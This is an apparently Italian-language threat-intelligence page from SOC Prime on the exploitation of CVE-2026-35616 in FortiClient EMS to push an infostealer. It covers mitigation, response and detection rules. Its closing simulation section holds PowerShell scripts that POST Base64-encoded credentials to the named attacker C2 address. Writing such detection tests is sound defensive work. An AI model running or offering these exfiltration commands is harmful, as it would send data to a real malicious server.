SOC Prime Bias: Critico

29 May 2026 07:30 UTC

FortiClient EMS Sfruttato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come una Patch Fortinet

Author Photo
SOC Prime Team linkedin icon Segui
FortiClient EMS Sfruttato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come una Patch Fortinet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Arctic Wolf ha identificato una campagna che ha sfruttato CVE-2026-35616 in FortiClient EMS per distribuire uno script PowerShell dannoso agli endpoint gestiti. Quello script ha recuperato e avviato un payload di furto di credenziali noto come EKZ Infostealer fingendosi una patch legittima di Fortinet. Il malware ha raccolto password dei browser, cookie e informazioni di compilazione automatica, quindi ha esfiltrato i dati rubati tramite HTTP. Sfruttando i canali di configurazione EMS fidati, gli attaccanti sono stati in grado di eseguire rapidamente il payload su più dispositivi gestiti.

Indagine

I ricercatori hanno ricreato l’exploit inviando richieste HTTP appositamente create e non autenticate alle API di FortiClient EMS, risultando in modifiche alla configurazione che hanno inserito script dannosi. Le tracce di esecuzione hanno mostrato fortitray.exe or ipsec.exe generare cmd.exe, che a sua volta ha lanciato un comando PowerShell codificato in Base64 che ha scaricato p.exe da un indirizzo IP malevolo. Il payload ha scritto un log.txt file in ProgramData, ha inviato i dati catturati allo stesso server e poi si è cancellato.

Mitigazione

Le organizzazioni dovrebbero aggiornare FortiClient EMS a una versione che risolve CVE-2026-35616 e limitare l’accesso alle API a indirizzi IP di origine approvati. I difensori dovrebbero anche esaminare i log EMS per errori legati ai certificati e cambiamenti inaspettati nei Profili di Accesso Remoto. Il traffico HTTP in uscita dagli endpoint verso indirizzi IP sconosciuti dovrebbe essere bloccato e l’esecuzione di script all’interno dei flussi di lavoro dei profili VPN dovrebbe essere limitata tramite controlli di privilegio minimo.

Risposta

Se questa attività viene rilevata, isolare immediatamente gli host interessati, revocare eventuali account EMS non autorizzati che potrebbero essere stati creati e rimuovere i file script malevoli dalla directory dei log di FortiClient. Gli investigatori dovrebbero conservare l’ log.txt artefatto, calcolare gli hash per i binari malevoli e cercare indicatori corrispondenti nell’ambiente. Le credenziali del browser esposte dovrebbero essere reimpostate e i team dovrebbero monitorare attività di autenticazione sospette che potrebbero seguire il furto.

Flusso di Attacco

Rilevazioni

Nome del File Breve (tramite cmdline)

SOC Prime Team
28 maggio 2026

Uso sospetto di CURL (tramite cmdline)

SOC Prime Team
28 maggio 2026

Chiamata a Metodi .NET Sospetti da Powershell (tramite powershell)

SOC Prime Team
28 maggio 2026

Possibile Attività di Trasferimento Bits (tramite powershell)

SOC Prime Team
28 maggio 2026

IOC (HashSha256) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

IOC (HashSha1) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

IOC (HashMd5) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

IOC (SourceIP) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

IOC (DestinationIP) per rilevare: FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer Mascherato come Patch Fortinet

Regole AI di SOC Prime
28 maggio 2026

Esfiltrazione di Credenziali da EKZ Infostealer via HTTP POST [Connessione di Rete Windows]

Regole AI di SOC Prime
28 maggio 2026

FortiClient EMS Violato tramite CVE-2026-35616 per Distribuire EKZ Infostealer [Creazione di Processo Windows]

Regole AI di SOC Prime
28 maggio 2026

Esecuzione di PowerShell tramite FortiClient per Distribuire EKZ Infostealer [Powershell di Windows]

Regole AI di SOC Prime
28 maggio 2026

Esecuzione di Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.

Ragioni: Questa sezione dettaglia la precisa esecuzione della tecnica (TTP) dell’avversario progettato per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione & Comandi dell’Attacco:
    L’attaccante ha precedentemente estratto credenziali dal registro di Windows (famiglia T1216) usando EKZ Infostealer. Per esfiltrare il blob raccolto, il malware lancia un comando one-liner PowerShell che posta le credenziali codificate in Base64 al suo server di comando e controllo a 83.138.53.110. L’uso di PowerShell (Invoke-WebRequest) è una tecnica classica di living‑off‑the‑land che evade i rilevamenti basati su binari mentre produce ancora telemetria di rete osservabile dal firewall.

    powershell
    # Payload di credenziali simulato (Base64 di "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • Script di Test di Regressione: Questo script PowerShell auto‑contenuto riproduce il passo di esfiltrazione e può essere rieseguito per future regressioni.

    powershell
    <#
    .SYNOPSIS
        Simulazione di esfiltrazione credenziali EKZ Infostealer (HTTP POST).
    
    .DESCRIPTION
        Genera un blob di credenziali falso, lo codifica e lo posta all’
        indirizzo IP malevolo noto usato nella regola di rilevamento.
    
    .NOTES
        Richiede HTTP in uscita consentito a 83.138.53.110 sulla porta 80.
    #>
    
    # ---- Preparazione ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Esecuzione ----
    try {
        Write-Host "[*] Inviando il blob di credenziali a $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] Stato HTTP:" $resp.StatusCode
    } catch {
        Write-Error "[-] POST fallito: $_"
    }
    
    # ---- Fine dello script ----
    
  • Comandi di Cleanup: Non vengono creati artefatti persistenti su disco, ma per essere scrupolosi chiudiamo qualsiasi sessione di richiesta web residua e liberiamo la variabile PowerShell.

    powershell
    # Pulisci variabili e chiudi eventuali sessioni web aperte
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Pulizia completata."